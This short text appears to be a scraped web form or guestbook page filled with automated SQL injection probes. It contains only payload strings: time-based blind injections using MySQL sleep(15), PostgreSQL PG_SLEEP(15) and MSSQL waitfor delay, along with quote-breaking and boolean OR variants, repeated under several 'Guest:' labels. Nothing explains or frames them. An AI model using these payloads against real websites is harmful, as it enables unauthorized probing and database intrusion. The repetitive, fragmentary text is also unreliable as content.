-1" OR 2+758-758-1=0+0+0+1 --

if(now()=sysdate(),sleep(15),0)

Guest:
555-1 OR 298=(SELECT 298 FROM PG_SLEEP(15))--
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

Guest:
555-1 OR 298=(SELECT 298 FROM PG_SLEEP(15))--
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

Guest:
555-1 OR 298=(SELECT 298 FROM PG_SLEEP(15))--
-1; waitfor delay '0:0:15' --

Guest:
555-1 OR 298=(SELECT 298 FROM PG_SLEEP(15))--
-1); waitfor delay '0:0:15' --

Guest:
555-1 OR 298=(SELECT 298 FROM PG_SLEEP(15))--
-1 waitfor delay '0:0:15' --

Guest:
555-1 OR 298=(SELECT 298 FROM PG_SLEEP(15))--
fUdUildx'; waitfor delay '0:0:15' --

Guest:
555-1 OR 298=(SELECT 298 FROM PG_SLEEP(15))--
hc4K9T7b'); waitfor delay '0:0:15' --